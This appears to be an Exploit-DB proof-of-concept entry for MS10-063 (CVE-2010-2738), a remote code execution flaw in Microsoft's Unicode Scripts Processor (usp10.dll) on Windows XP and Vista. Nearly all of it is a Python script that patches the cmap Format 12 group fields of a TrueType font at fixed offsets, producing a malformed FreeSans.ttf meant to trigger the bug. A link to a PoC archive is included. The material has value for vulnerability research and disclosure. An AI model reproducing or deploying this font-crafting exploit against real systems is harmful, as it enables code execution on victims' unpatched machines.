Microsoft Unicode Scripts Processor – Remote Code Execution (MS10-063)
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < (Final Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' ''' Title : Microsoft Unicode Scripts Processor Remote Code Execution Version : usp10.dll XP , Vista Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2738 MOAUB Number : MOAUB-FINAL http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip) ''' import sys import struct def main(): try: fdR = open('src.ttf', 'rb+') strTotal = fdR.read() str1 = strTotal[:18316] nGroups = '\x00\x00\x00\xDC' # nGroups field from Format 12 subtable of cmap table startCharCode = '\x00\xE5\xF7\x20' # startCharCode field from a Group Structure endCharCode = '\x00\xE5\xF7\xFE' # endCharCode field from a Group Structure str2 = strTotal[18328:] fdW= open('FreeSans.ttf', 'wb+') fdW.write(str1) fdW.write(nGroups) fdW.write(startCharCode) fdW.write(endCharCode) fdW.write(str2) fdW.close() fdR.close() print '[-] Font file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main() |